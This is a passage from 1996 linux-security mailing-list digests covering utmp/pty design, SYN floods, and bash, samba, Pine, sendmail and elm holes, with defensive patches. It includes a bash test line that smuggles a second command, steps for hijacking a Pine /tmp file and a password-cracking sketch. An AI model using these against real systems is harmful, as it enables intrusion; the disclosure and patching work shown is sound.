[linux-security] pty's and utmp - a disaster perpetrated long ago Rob Hagopian writes ("Re: [linux-security] vulnerability in splitvt"): ... > I have changed our splitvt to a simple non-suid executable. This provides > almost no change in features as far as I can tell. The manual doesn't say > much about why it needs to be suid root, except for the following: > [ stuff about utmp ] In the current world, any program which allocates and uses pty's needs to be setuid root. If it isn't then any other user on the system can interfere with the pty, because the permissions on it can't be fixed. In practice some such programs are setuid-root and some aren't. We need (a) a clear idea of how we want utmp to work and (b) a setuid root helper program which manipulates utmp and allocates and deallocates pty's, and a library to call it easily. When we have this then xterm, splitvt, screen, script, ytalk, &c &c will no longer have to be setuid root or insecure. (b) is fairly easy given (a) - you just have to think a bit about the API and then implement the wrapper and the library to call it. (a) is hard. It involves going through every current utmp-using program and seeing what it does, so that you can figure out a design for utmp-like functionality which interworks as well as possible with the current scheme while not having the bugs, race conditions, failures to clean up, security holes, &c &c &c. Ian. ------------------------------ From: Miquel van Smoorenburg Date: Mon, 2 Sep 1996 23:33:35 +0200 (MET DST) Subject: Re: [linux-security] pty's and utmp - a disaster perpetrated long ago You (Ian Jackson) wrote: > We need > (a) a clear idea of how we want utmp to work > and > (b) a setuid root helper program which manipulates utmp and allocates > and deallocates pty's, and a library to call it easily. > > When we have this then xterm, splitvt, screen, script, ytalk, &c &c > will no longer have to be setuid root or insecure. > > (b) is fairly easy given (a) - you just have to think a bit about the > API and then implement the wrapper and the library to call it. You would need a special library call that calls a setuid helper program to allocate a pty, that gets chowned to the user. Or even better, the kernel could be fixed so that when you open the master side of a pty the slave gets chown()ed to the euid of the process opening it. In fact I think that would be very elegant, and I don't think it will break existing programs. > (a) is hard. It involves going through every current utmp-using > program and seeing what it does, so that you can figure out a design > for utmp-like functionality which interworks as well as possible with > the current scheme while not having the bugs, race conditions, > failures to clean up, security holes, &c &c &c. >From the Solaris manpage for pututline(): When called by a non-root user, pututline() invokes a setuid() root program to verify and write the entry, since /etc/utmp is normally writable only by root. In this event, the ut_name field must correspond to the actual user name asso- ciated with the process; the ut_type field must be either USER_PROCESS or DEAD_PROCESS; and the ut_line field must be a device special file and be writable by the user. I think that would do nicely.. Mike. - -- Miquel van | Cistron Internet Services -- Alphen aan den Rijn. Smoorenburg, | mailto:[email protected] http://www.cistron.nl/ [email protected] | Tel: +31-172-419445 (Voice) 430979 (Fax) 442580 (Data) ------------------------------ From: Speed Racer Date: Mon, 2 Sep 1996 18:38:19 -0400 (EDT) Subject: Re: [linux-security] inetd and denial-of-service On Tue, 27 Aug 1996 [email protected] wrote: > | explain why a randomly chosen source IP is a bad idea, which was what I > | was trying to clarify. > > Because you have NO way of verifying if a host is unreachable or > not when you pick an IP address out of thin air. Just like when > generate a large odd number. You cannot guarantee it's prime without > testing it for primality... Big deal. I can write a program to send out over 100 packets a second with totally random addresses, and odds are many of them will not be reachable. The point is that my program to do it randomly and hope for the best will still lock up a port just as fast as if you hand-pick unreachable addressess, and I don't have to do anything but start my program and walk away. > | Sure you have. If they use that same IP over and over again, you can > | spot a potential SYN flood from that particular host and refuse to accept > | any more SYN's from that host. Contrary to what you may think, this can > | be done in user space with an ipfwadm-like tool; we just need the hooks > | in the kernel to allow policies to be changed on the fly. > > This is why you will see many SYN floods with different source > addresses in each wave of packets, or even better, in each > packet. And a great way to get different addresses in each packet? Generate them randomly! You can drop the unreachable connects pretty fast by seeing (at least) if they can be reversed in the DNS and dropping those which can't be. Yes, there are plenty of IP's which won't reverse. But since we're in the middle of a SYN flood, we don't really care too much about them. We only want to allow those hosts we KNOW are good during the flood, and when it's over we can once again allow them all. [REW: A reverse map will take up to several minutes. Most notably if the hosts together with their DNS servers are unreachable. Moreover you can cause a packet explosion: you get the target to send more packets than you need to trigger that behaviour.] It's not a perfect solution, but it is better than nothing and will work until something better (e.g., IPv6 or routers which look for this kind of thing) comes along. shag Judd Bourgeois [email protected] Finger for PGP public key There's a lost man with a bitter soul For only a moment did life make him whole And while he was, he thought he was invincible... Matthew Sweet, "Smog Moon" ------------------------------ From: [email protected] (Rogier Wolff) Date: Mon, 2 Sep 1996 09:41:04 +0200 (MET DST) Subject: Re: [linux-security] bash security hole R. DuFresne wrote: > > On Sat, 31 Aug 1996, Rogier Wolff wrote: > > > R. DuFresne wrote: > > > > > > On Sat, 31 Aug 1996, Rogier Wolff wrote: > > > > > > > "R. DuFresne" wrote: > > > > > > > > > > > > Just to clarify this, the way I found that I _was_ vulnerable, > > > > > > was with this. NB copy the quoting exactly: > > > > > > > > > > > > bash -c "`/bin/echo 'ls -al\377who'`" > > > > > > > > > > > > However, note that the bit after the \377 is run the _next_ > > > > > > time you run the command, so you need to run it _twice_. > > > > > > Hopefully this will help people who incorrectly believe > > > > > > they are not vulnerable. > > > > > > > > > > As Jonathon and ZOLTAN have pointed out, a double run of the > > > > > command line, fully quoted, proves the bug... > > > > > > > > That's odd. Mine does it first time around. The fixed version > > > > passes the 0xff to ls, which complains..... > > > > > > Someone posted to bugtrack that if you add the zero <0> > > > to the \377 so that it becomes \0377 it's interpreted right off.... > > > > > > > I just used my xterm's cut-and-paste to take the above commandline > > and paste it into an xterm...... > > > > I then did cursor-up and added ".old" to "bash". The first complained > > "ls: unknown option y" and the second gave me ls and who output. > > > > Seems to be really odd, different quoting produces different results on > various systems. And those that are supposed to have fixed the 'bug' > still fail with: > > bash -c "$(echo -e echo\\377who)" > > Some require a double play of the comamnd, some a single entry... I run the "fixed" bash. I am still vulnerable. At first I thought Ron must have made an error in patching his bash, but now it seems it is more complicated than that oneline fix. The vulnerability test with the backquotes shows I wouldn't be vulnerable, but still...... Maybe bash should be compiled with "chars are unsigned by default"? Would that break anything? (I'm not volunteering my system to try that.... :-) Roger. ------------------------------ From: Jason Haar Date: Tue, 3 Sep 1996 10:57:17 +0100 (BST) Subject: [linux-security] Is there a final word on the current RESOLV_HOST_CONF hole? Says it all really. I've been waiting for a real patch to libc that fixes this - but none are yet forthcoming. Is anything known to be in the pipeline, or should I just recompile libc to stop writing the offending lines? Cheers, +++++++++++++++++++++++++++++++++++++++++++++++ Jason Haar, Unix/Internet Manager OiT, Oxford. Phone: +44 1865 785051 ------------------------------ End of linux-security-digest V2 #58 *********************************** linux-security-digest/v02.n059100664 1767 1767 34235 6215622537 15465 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #59 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 11 September 1996 Volume 02 : Number 059 [linux-security] SecurID White Paper Re: [linux-security] pty's and utmp - a disaster perpetrated long ago [linux-security] GSSAPI for Linux [linux-security] Admin note. [linux-security] samba 1.9.16p2-2 (RedHat): Damn /tmp security holes again... Re: [linux-security] GSSAPI for Linux Re: [linux-security] pty's and utmp - a disaster perpetrated long ago [linux-security] password for over 8 charactes ---------------------------------------------------------------------- From: Peiter Z Date: Wed, 4 Sep 1996 11:38:21 -0600 (MDT) Subject: [linux-security] SecurID White Paper SecurID Vulnerabilities White-Paper Due to increased recent interest that has been witnessed on the net about the SecurID token cards and potential vulnerabilities with their use, we offer a white paper on some of the vulnerabilities that we believe have been witnessed and/or speculated upon. This paper is being put forth into the public domain by Secure Networks Incorporated and is available at the following URL : ftp://ftp.secnet.com/pub/papers/securid.ps Topics dealt with in the paper include: . Race attacks based upon fixed length responses (still valid even with the current patch) . Denial of Service attacks based upon server patches . Server - Slave separation and replay attacks . Vulnerabilities in the communications with the ACE Server . A quick analysis of the communications with the ACE Server . Problems with out-of-band authentication We hope this paper provides insight, enlightenment, and is helpful to the security community in general. thanks and enjoy, Secure Networks Inc. ------------------------------ From: David Holland Date: Wed, 4 Sep 1996 13:35:33 -0400 (EDT) Subject: Re: [linux-security] pty's and utmp - a disaster perpetrated long ago > You (Ian Jackson) wrote: > > We need > > (a) a clear idea of how we want utmp to work > > and > > (b) a setuid root helper program which manipulates utmp and allocates > > and deallocates pty's, and a library to call it easily. A daemon is probably a better bet than a setuid root subprogram. Of course, communicating reliably with an arbitrary daemon is a trifle difficult. I've done the survey of utmp-using programs. They mostly do one of the following things: - update an entry - report all entries or all entries belonging to a particular user - locate a user's least idle entry for messaging purposes An interface that permits these things easily would be nice. Nicer still would be to fix those tty-writing programs so they don't assume the tty is the place to write; for instance, a utmp entry for an X display should point messages to a named pipe or something. Also, the utmp file as it presently exists should be abolished. > You would need a special library call that calls a setuid helper > program to allocate a pty, that gets chowned to the user. Or even > better, the kernel could be fixed so that when you open the master > side of a pty the slave gets chown()ed to the euid of the process > opening it. In fact I think that would be very elegant, and I don't > think it will break existing programs. probably ruid, not euid -- existing setuid root tty management programs would break. Other than that, yeah, except that I don't think you can automatically do it since the kernel doesn't know where to find the inode for the tty end of the device. What I've been thinking about is an ioctl on the pty end that takes a file descriptor opened on the tty end as an argument and does the necessary processing (chown, chmod 600, revoke). So you'd do something like while (1) { char *x = mumble_get_next_pty_name(); if (!x) break; p = open(x, O_RDWR); if (p<0) continue; x[5] = 't'; t = open(x, O_RDWR); if (t<0) { close(p); continue; } if (ioctl(p, TIOCCHOWN, &t)<0) continue; } close(p); t = open(x, O_RDWR); if (t<0) continue; return t; } return -1; Note the reopening of the tty end - I suspect the ioctl should close the descriptor passed to it, since it will be easier to implement the revoke() part that way. The other thing is, I don't think it's safe to trust the controlling tty of a process to belong to that process's owning uid. If somebody leaves a tty world-accessible for some reason, it's very easy to make that tty your controlling tty. If you can steal utmp entries (or worse, get the tty chowned) you can make a good deal of trouble. - -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 ------------------------------ From: [email protected] (Andrew Morgan) Date: Sat, 7 Sep 1996 08:35:34 -0700 (PDT) Subject: [linux-security] GSSAPI for Linux Hi, I am involved in the Linux-PAM project (official distribution site: http://www.power.net/morgan/Linux-PAM ), and in the progress of development, "GSSAPI" has come up a number of times ( GSSAPI = General Security Service Application Program Interface [rfc1508, rfc1509] ). Does anyone know if there is a Linux (or simply Free) implementation of GSSAPI in progress/available? Best wishes Andrew ------------------------------ From: Jeff Uphoff Date: Mon, 9 Sep 1996 15:56:31 -0400 Subject: [linux-security] Admin note. - -----BEGIN PGP SIGNED MESSAGE----- Two notes: I'm now back from my 2+ weeks in New Mexico, and am working through a massive backlog of security list traffic and subscription changes/requests, as well as general e-mail and other work. Please be patient with your requests--I'm getting to them! (I first have to sort out what Rogier has already taken care of, which is proving to be time-consuming as well; I was effectively "cut off" from my normal e-mail for the duration of my trip to New Mexico.) Also, thanks to a friendly visit by Hurricane Fran, power was out here at NRAO for awhile. After power was restored, our systems and network were down for an additional day+ as we coaxed things back to life. Things on that front appear to have returned to normal (whatever that may be), so the lists and list archives should once again be fully on-line. - - --Up. - - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.2, an Emacs/PGP interface iQCVAwUBMjR2TnoDqzGe1QXFAQH4ewP/Y03siu68dIkkMPCRnmvsb69a/1nuVrzM ABUUFl+mAPN+SwOTFrScdkyJvNCakeDmDMzVCHwjHC48vN0PZFW9WZ/themPt+fm +TKyKqLjTevtyjQOkFWSxwklf3umt4bVjYYgoxtDgNhSEY6qKWwtNdz3oKaFPufT IAghDTqahSc= =40V2 - -----END PGP SIGNATURE----- ------------------------------ From: [email protected] (Zygo Blaxell) Date: 9 Sep 1996 19:49:20 -0400 Subject: [linux-security] samba 1.9.16p2-2 (RedHat): Damn /tmp security holes again... While I was RTFM(smb.conf) just now: > lpq cache time (G) > This controls how long lpq info will be cached for to pre- > vent the lpq command being called too often. A separate > cache is kept for each variation of the lpq command used > by the system, so if you use different lpq commands for > different users then they won't share cache information. > >smb.conf smb.conf 24 > >SMB.CONF(5) SMB.CONF(5) > > The cache files are stored in /tmp/lpq.xxxx where xxxx is > a hash of the lpq command in use. Doh! "Don't worry," I said to myself. "They implemented this correctly. There should be no symlink-based race conditions. Better check anyway..." >From source/util.c, where this file gets opened: >/******************************************************************* >lock a file - returning a open file descriptor or -1 on failure >The timeout is in seconds. 0 means no timeout >********************************************************************/ >int file_lock(char *name,int timeout) >{ > int fd = open(name,O_RDWR|O_CREAT,0666); [ Rest of function deleted...without O_EXCL, it's already too late ] >} Doh! Oh well, there goes my coffee break for the afternoon. Is there a good document that explains how to use O_EXCL and/or mkstemp() out there somewhere? If not, it's about time I write one. To make matters worse, this is one of the few paths that is hard-coded into smbd. No getenv(TMPDIR), no configuration option...just 'sprintf(outfile,"/tmp/lpq.%08x",str_checksum(syscmd));'. Also, disabling lpq caching doesn't disable creation of this file; it deletes the cache file after writing it. Defining the lpq command to be null will fix the security problem, but disables all access to the printer queue in the process. Fixing this bug will involve rewriting source/printing.c:get_printqueue(), as that function depends on first collecting lpq output in a file then reading that file back into memory. I have not checked for the presence of other bugs of this type. They may exist. Possible alternative solutions follow. I like #1, because it's the easiest to implement and verify. 1. Parameterize that path, e.g. 'lpqcachedir = /var/lib/samba/lpq-cache' in smb.conf, document it, and disable the lpq cache (including any file creation) unless a path is given. Problem: 'lpqcachedir = /tmp' makes the bug come back; also, it is necessary to clean the lpq cache separately. 2. Create the cache files securely (with O_EXCL), and use them only if they are mode 666 and have exactly one link; otherwise, ignore them. Only read the cache files if the filename is not a symlink, and the link count of the open file descriptor is 1, and the device and inode numbers of the open file descriptor are equal to the values returned from lstat on the filename. Problem: this permits denial of service. 3. Guarantee that an unprivileged user is creating this file. Problem: this isn't really a solution, and denial-of-service is still possible: if /tmp/lpq.xxxxxxxx is linked to /dev/zero, the smbd process will consume infinite memory while reading the file back. In addition, the following would be nice to have to close out any further attacks: Rewrite get_printqueue() to not require a temporary file. Since the output of lpq is stored in memory anyway, this can't be too hard. If (and only if) the cache file can be created and used securely as in #2, the results could be cached by one large fwrite() from memory. - -- Zygo Blaxell. Unix/soft/hardware guru, was for U of Waterloo CS Club, now for (name withheld by request). 10th place, ACM Intl Collegiate Programming Contest Finals, 1994. Admin Linux/TCP/IP for food, clothing, anime. Pager: 1 (613) 760 8572. "I gave up $1000 to avoid working on windoze... *sigh*" - Amy Fong ------------------------------ From: Jared Mauch Date: Mon, 9 Sep 1996 03:58:35 -0400 (EDT) Subject: Re: [linux-security] GSSAPI for Linux [REW: About GSSAPI:] Yes. I use it on all my systems. It comes with kerberos5. You can get that from ftp://athena-dist.mit.edu/pub/ATHENA/kerberos And when you folks try to build it and it doesn't work for you, check all your headder files.. ;-) It built for me on only one of my machines, all the others needed me to fix some of my headder files. There's only one problem, not all ftpds understand it: 220 cedar.cic.net FTP server (Version wu-2.4.2-academ[BETA-11](1) Thu Aug 29 11:24:00 EDT 1996) ready. 500 'AUTH GSSAPI': command not understood. But others running a ftpd that understands it will show this: wolverine:~> kinit Password for [email protected]: wolverine:~> ftp nic Connected to nic.hq.cic.net. 220 nic.hq.cic.net FTP server (Version 5.60) ready. 334 Using authentication type GSSAPI; ADAT must follow GSSAPI accepted as authentication type GSSAPI error major: Miscellaneous failure GSSAPI error minor: Server not found in Kerberos database GSSAPI error: initializing context GSSAPI authentication succeeded Name (nic:jared): 232 GSSAPI user [email protected] is authorized as jared 230 User jared logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> -jared [REW: Quoting trimmed.] ------------------------------ From: David Holland Date: Sun, 8 Sep 1996 17:05:30 -0400 (EDT) Subject: Re: [linux-security] pty's and utmp - a disaster perpetrated long ago > > A daemon is probably a better bet than a setuid root subprogram. Of > > course, communicating reliably with an arbitrary daemon is a trifle > > difficult. > > There already exists such a daemon. utmpd under Solaris 2.5. My understanding of utmpd is that it's a gross hack perpetrated to pick up the pieces because the normal mechanisms don't bother to remove utmp entries correctly. > It would be nice the have the same interface/protocol as the utmpd under > Solaris 2.5. Sadly it is compleatly undocumentet. Maybe someone with a > contact in Sun could ask. Or someone may want to reverse engineer it. This is because as far as I know there is no such interface. > > Also, the utmp file as it presently exists should be abolished. > > Still need to keep the information someplace. How about a db file that only the daemon accesses? Or at least a file format with some kind of header so you have some chance of being able to transparently add new fields... - -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 ------------------------------ From: Yoji Tanaka Date: Mon, 9 Sep 1996 08:49:39 +1000 Subject: [linux-security] password for over 8 charactes I am looking for password system that allows over 8 characters for linux shadow password. If you know some, please email me. Thanks in advance. Yoji ------------------------------ End of linux-security-digest V2 #59 *********************************** linux-security-digest/v02.n060100664 1767 1767 41534 6216120572 15446 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #60 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Thursday, 12 September 1996 Volume 02 : Number 060 [linux-security] Fix available for elm 2.4 filter security hole Re: [linux-security] pty's and utmp - a disaster perpetrated long ago [linux-security] Re: password for over 8 charactes [linux-security] Pine security problem [linux-security] From bugtraq: sendmail-8.7.5 [linux-security] Re: sendmail-8.7.5 Re: [linux-security] Re: sendmail-8.7.5 Re: [linux-security] GSSAPI for Linux Re: [linux-security] pty's and utmp - a disaster perpetrated long ago [linux-security] Re: password for over 8 charactes Re: [linux-security] Fix available for elm 2.4 filter security hole ---------------------------------------------------------------------- From: jna Date: Tue, 10 Sep 1996 01:53:02 +0500 Subject: [linux-security] Fix available for elm 2.4 filter security hole I don't know if a patch has been made available for the security hole in ELM's filter (version 2.4PL25), but as of patch level 25, the bug still exists. Users can read the electronic mail of any user they choose with a simple exploit script (which has been published on the list before, so I won't rehash it here again) Basically, I've written a simple, blanket (bleh!) fix for filter that prevents filter from opening any symbolic links while it's running. If you know of a patch for filter that has fixed this already, let me know, otherwise, if you need a copy of this patch, send me mail. :) - --john ------------------------------ From: Aleph One Date: Sun, 8 Sep 1996 21:05:45 -0500 (CDT) Subject: Re: [linux-security] pty's and utmp - a disaster perpetrated long ago On Sun, 8 Sep 1996, David Holland wrote: > My understanding of utmpd is that it's a gross hack perpetrated to > pick up the pieces because the normal mechanisms don't bother to > remove utmp entries correctly. Huh. I see. > This is because as far as I know there is no such interface. Guess linux defines one then. Might want to ask the folk working on PAM-Linux as this would fall under the session module of PAM. I'am sure they will have some suggestions. > How about a db file that only the daemon accesses? Or at least a file > format with some kind of header so you have some chance of being able > to transparently add new fields... Agreed. > -- > - David A. Holland | Number of words in the English language that > [email protected] | exist because of typos or misreadings: 381 > Aleph One / [email protected] http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 ------------------------------ From: [email protected] (Rogier Wolff) Date: Tue, 10 Sep 1996 19:46:32 +0200 (MET DST) Subject: [linux-security] Re: password for over 8 charactes Yoji Tanaka wrote: > I am looking for password system that allows over 8 characters for > linux shadow password. If you know some, please email me. Beware: The "longer password" implementation that I've seen so far just makes it easier for a hacker to hack the passwords once he has a copy of the encrypted password file. As an example: Lets assume that I choose my passwords from /usr/dict/words. This is an invalid assumption, but it will show the principle. A crack run would then have to handle 45000 passwords (on my system). When the password passes 8 chars, it shows clearly in the password file: Only 17000 entries over 8 chars left.... Next I can run crack exhaustively (for a few chars) on the > 8 chars part. 3 chars is about 17000 tries. Then you have the last 3 chars of the word chosen and a simple grep in the "list-of-tries" wil suffice to bring the number of words down to a handful. More realistically you would have a larger set of words to try. This would make this approach even more interesting. Running exhaustively for 4 chars is really an option..... Roger. ------------------------------ From: "Liam O. Forbes" Date: Tue, 10 Sep 1996 17:26:06 -0800 (ADT) Subject: [linux-security] Pine security problem - -----BEGIN PGP SIGNED MESSAGE----- This is in regards to the "fix" of the possible security problem in Pine < v3.95. Pine 3.95 does indeed check for symbolic links, now, before creating a mail lock file. However it has the same problem in another part of the program. I have verified the problem in Pine 3.95 & Pine 3.91 using Irix 5.3. I'll be looking into it on my Linux home system, but it's probably there too. While upgrading to the Pine 3.95, it was discovered that the alternate editor feature creates a file "/tmp/pico.pid" where pid is the id of the active Pine session. If you use the alternate editor feature, and a symbolic link exists with the desired name, the link isn't checked like the mail lock file is, and the editor dumps everything into the file pointed to by the symbolic link. This can lead to several possible security breaches via: 1. the ability to mangle a target file. 2. the ability to eavesdrop on composed messages. 3. (if you are really fancy) the ability to set up at least one bogus .rhosts entry by sending email to someone who responds to email by quoting entire files. There are probably several other things that can be done via this /tmp file problem (and have been). To see the exact problem: 1. set the editor variable in ~/.pinerc to something like /bin/vi. 2. start up pine 3. do a long listing of /tmp 4. start composing a message in pine, switch to the alternate editor via ^_ 5. do another long listing of /tmp 6. That "pico.###" file is the problem. As long as you are running the current pine session, anyone can create a link with that name and, at the least, capture whatever you write into your mail message. Finally, when you exit the alternate editor, it deletes the /tmp file If it was a link, the link gets deleted. No evidence of tampering remains. What about using random file names and checking if those exist? The current fix for the mail lock file seems like the work of a lazy programmer. Liam Forbes [email protected] http://www.arsc.edu/~lforbes Box 756020 910 Yukon Dr. Suite 106 Fairbanks Ak 99775-6020 907-474-1898 fax: 907-474-5494 finger: Geek code & PGP pub key High Performance Computing Systems Programmer/Analyst I - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMjYUG3j93TwzW72NAQHiqAQAksEXmJpfPUvrZizEL9ZJ2V+XASY68rfJ SQXYrIg9Zrhi0xi/ZpJBEk6Zzdc16d+ccdXmE6w3z0Siqq8xnN5X3N90+ENL7CeV KHC0xfRHmDcIrs7KAbeBA9mCO0O28uY8j7fv9ELL4fxcnoS60fXL2Vmps8ii4eR6 I4PPC9IBoYw= =Sxqi - -----END PGP SIGNATURE----- [REW: I don't think the "random filename" idea is a good idea. It can easily be spoofed. "checking if a file exists" is also easily tricked. Create a link, and rename it to the expected filename and back to something else really quick. When the target program checks (file doesn't exist), a process switch occurs. You rename the link. Next the program opens the link....] ------------------------------ From: Thomas Roessler Date: Thu, 12 Sep 1996 16:52:13 +0200 (MET DST) Subject: [linux-security] From bugtraq: sendmail-8.7.5 There is a buffer-overflow problem in sendmail 8.7.5: The gecos field is being written to a fixed-size buffer; this may be used to get root on systems where users can modify their real name by using chfn(1). Inserting the following code after line 470 of src/util.c should fix the problem: if(l >= MAXNAME) { /* -tlr */ syslog(LOG_NOTICE, "POSSIBLE ATTACK from user %d!", getuid()); *bp = '\0'; return; } The bugtraq posting additionally claims that the problem has been fixed in 8.8beta. tlr ------------------------------ From: Thomas Roessler Date: Thu, 12 Sep 1996 17:56:35 +0200 (MET DST) Subject: [linux-security] Re: sendmail-8.7.5 * Thomas Roessler wrote: > > if(l >= MAXNAME) { /* -tlr */ > syslog(LOG_NOTICE, "POSSIBLE ATTACK from user %d!", getuid()); Make that syslog(LOG_NOTICE, "POSSIBLE ATTACK from user %s!", login); > *bp = '\0'; > return; > } Sorry for the inconvenience. tlr ------------------------------ From: [email protected] (Matt) Date: 12 Sep 1996 13:08:03 -0400 Subject: Re: [linux-security] Re: sendmail-8.7.5 Patches for Sendmail-8.7.5 to incorporate the buildfname buflen check from sendmail-8.8-beta2. Tossed together when I should have been at work on 12 Sep 1996. -Matt ([email protected]) http://www.dhp.com/ - -------------------------------SNIP----------------------------------- diff -u --recursive ../../sendmail-8.7.5/src/envelope.c ./envelope.c - --- ../../sendmail-8.7.5/src/envelope.c Sat Nov 11 14:07:50 1995 +++ ./envelope.c Thu Sep 12 12:12:05 1996 @@ -777,7 +777,7 @@ strcmp(pw->pw_name, e->e_from.q_user) == 0 && !internal) { - - buildfname(pw->pw_gecos, e->e_from.q_user, buf); + buildfname(pw->pw_gecos, e->e_from.q_user, buf, sizeof buf); if (buf[0] != '\0') FullName = newstr(buf); } diff -u --recursive ../../sendmail-8.7.5/src/recipient.c ./recipient.c - --- ../../sendmail-8.7.5/src/recipient.c Mon Oct 30 15:44:17 1995 +++ ./recipient.c Thu Sep 12 12:11:11 1996 @@ -535,7 +535,7 @@ a->q_gid = pw->pw_gid; a->q_ruser = newstr(pw->pw_name); a->q_flags |= QGOODUID; - - buildfname(pw->pw_gecos, pw->pw_name, nbuf); + buildfname(pw->pw_gecos, pw->pw_name, nbuf, sizeof nbuf); if (nbuf[0] != '\0') a->q_fullname = newstr(nbuf); if (!usershellok(pw->pw_name, pw->pw_shell)) @@ -743,7 +743,7 @@ } # endif - - buildfname(pw->pw_gecos, pw->pw_name, buf); + buildfname(pw->pw_gecos, pw->pw_name, buf, sizeof buf); if (strchr(buf, ' ') != NULL && !strcasecmp(buf, name)) { if (tTd(29, 4)) diff -u --recursive ../../sendmail-8.7.5/src/util.c ./util.c - --- ../../sendmail-8.7.5/src/util.c Mon Mar 4 12:13:21 1996 +++ ./util.c Thu Sep 12 12:23:12 1996 @@ -383,10 +383,11 @@ */ void - -buildfname(gecos, login, buf) +buildfname(gecos, login, buf,buflen) register char *gecos; char *login; char *buf; + int buflen; { register char *p; register char *bp = buf; @@ -404,7 +405,22 @@ else l++; } - - + if (l > buflen - 1) + { + /* not a good sign */ + if (strlen(gecos) > (SIZE_T) buflen - 1) + { + /* even worse */ + strncpy(buf, gecos, buflen - 1); + buf[buflen - 1] = '\0'; + } + else + { + strcpy(buf, gecos); + } + return; + } + /* now fill in buf */ for (p = gecos; *p != '\0' && *p != ',' && *p != ';' && *p != '%'; p++) { - -- -Matt ([email protected]) -- DataHaven Project - http://www.dhp.com/ "That which can never be enforced should not be prohibited." ------------------------------ From: Jeff Cook Date: Thu, 12 Sep 1996 13:15:54 -0700 Subject: Re: [linux-security] GSSAPI for Linux > [REW: About GSSAPI:] > > Yes. I use it on all my systems. > > It comes with kerberos5. You can get that from > ftp://athena-dist.mit.edu/pub/ATHENA/kerberos FYI, a Java-based front end to this GSS-API package can be found at: http://choices.cs.uiuc.edu/Security/JGSS/jgss.html ...Jeff ------------------------------ From: "Andrew G. Morgan" Date: Wed, 11 Sep 1996 17:33:19 -0700 (PDT) Subject: Re: [linux-security] pty's and utmp - a disaster perpetrated long ago Aleph One wrote: > On Sun, 8 Sep 1996, David Holland wrote: > > This is because as far as I know there is no such interface. > > Guess linux defines one then. Might want to ask the folk working on > PAM-Linux as this would fall under the session module of PAM. I'am sure > they will have some suggestions. > Sun (who defined the PAM API) have not been very helpful with this. Basically, for all the reasons that you have already discussed [in summary, there is no standard] they decided to leave utmp maintenance up to the applications. We would all welcome a standard, it would be a simple thing to make a session module that PAM aware applications could make use of. If someone can come up with a coherent scheme, I'd be more than happy to (help) implement it. Regards Andrew - ---> Linux-PAM-0.52: http://parc.power.net/morgan/Linux-PAM/index.html ------------------------------ From: Joshua Cowan Date: Wed, 11 Sep 1996 22:21:15 -0500 Subject: [linux-security] Re: password for over 8 charactes >>>>> "RW" == Rogier Wolff writes: RW> When the password passes 8 chars, it shows clearly in the RW> password file: Only 17000 entries over 8 chars left.... The shadow password suite (maintained by Marek Michalkiewicz) includes an implementation of a MD5-based crypt (since March; I don't know if any subsequent versions have been officially released). This overcomes the mentioned weakness while allowing passwords up to 128 characters in length. RW> Next I can run crack exhaustively The MD5-crypt implementation is also purposefully designed to be slow. [REW: As was crypt when it was designed.... ] - -- Joshua Cowan _____________________ http://hermit.reslife.okstate.edu/~jcowan/ | Comp Sci Student "Very funny, Scotty. Now beam down my clothes." | OSU - Stillwater, OK PGP public key available from any PGP keyserver; get key ID 0x2CB9B63D. ------------------------------ From: Chris Adams Date: Wed, 11 Sep 1996 23:35:35 -0500 (CDT) Subject: Re: [linux-security] Fix available for elm 2.4 filter security hole Once upon a time, jna wrote > I don't know if a patch has been made available for > the security hole in ELM's filter (version 2.4PL25), > but as of patch level 25, the bug still exists. > > Users can read the electronic mail of any user they choose with a simple > exploit script (which has been published on the list before, so I won't > rehash it here again) > > Basically, I've written a simple, blanket (bleh!) fix for filter that > prevents filter from opening any symbolic links while it's running. > > If you know of a patch for filter that has fixed this already, let me know, > otherwise, if you need a copy of this patch, send me mail. :) Well, I tried the copy of the script that worked under Slackware 3.0, and it does not appear to work under RedHat 3.0.3. I looked at the source rpm, and it has the included patch. - -- Chris Adams - [email protected] - System Admin - Renaissance Internet Services "So, if anybody wants to have hardware sent to them: don't call me, but instead write your own unix operating system. It has worked every time for me." - Linus Torvalds, author of Linux (Unix-like) OS - --- elm-2.4.24c/filter/actions.c.marc Tue Aug 3 15:28:40 1993 +++ elm-2.4.24c/filter/actions.c Thu Jan 25 11:44:15 1996 @@ -96,11 +96,17 @@ * else, that we'll try to do nice things with it on the fly... */ + uid_t euid; + gid_t egid; + FILE *pipefd, *tempfd, *mailfd; int in_header = TRUE, line_count = 0, mailunit, pid, statusp; char tempfile[SLEN], mailbox[SLEN], buffer[VERY_LONG_STRING], *cp; + euid = geteuid(); + egid = getegid(); + if (verbose && ! log_actions_only && outfd != NULL) fprintf(outfd, catgets(elm_msg_cat,FilterSet,FilterMailingMessage, "filter (%s): Mailing message to %s\n"), @@ -109,6 +115,9 @@ if (! show_only) { sprintf(tempfile, "%s.%d", filter_temp, getpid()); + setuid(user_uid); + setgid(user_gid); + if ((tempfd = fopen(tempfile, "r")) == NULL) { if (outfd != NULL) fprintf(outfd, catgets(elm_msg_cat,FilterSet, @@ -118,6 +127,9 @@ if (outfd != NULL) fclose(outfd); exit(1); } + + setuid(euid); + setgid(egid); if (strcmp(address, username) != 0) { /* mailing to someone else */ @@ -351,6 +363,12 @@ char filename[SLEN], buffer[SLEN]; int fdunit; + uid_t euid; + gid_t egid; + + setuid(user_uid); + setgid(user_gid); + sprintf(filename, "%s.%d", filter_temp, filter_pid); if ((fdunit = open(foldername, @@ -365,14 +383,21 @@ } fd = fdopen(fdunit,"a"); + setuid(user_uid); + setgid(user_gid); + if ((tempfd = fopen(filename, "r")) == NULL) { if (outfd != NULL) fprintf(outfd,catgets(elm_msg_cat,FilterSet, 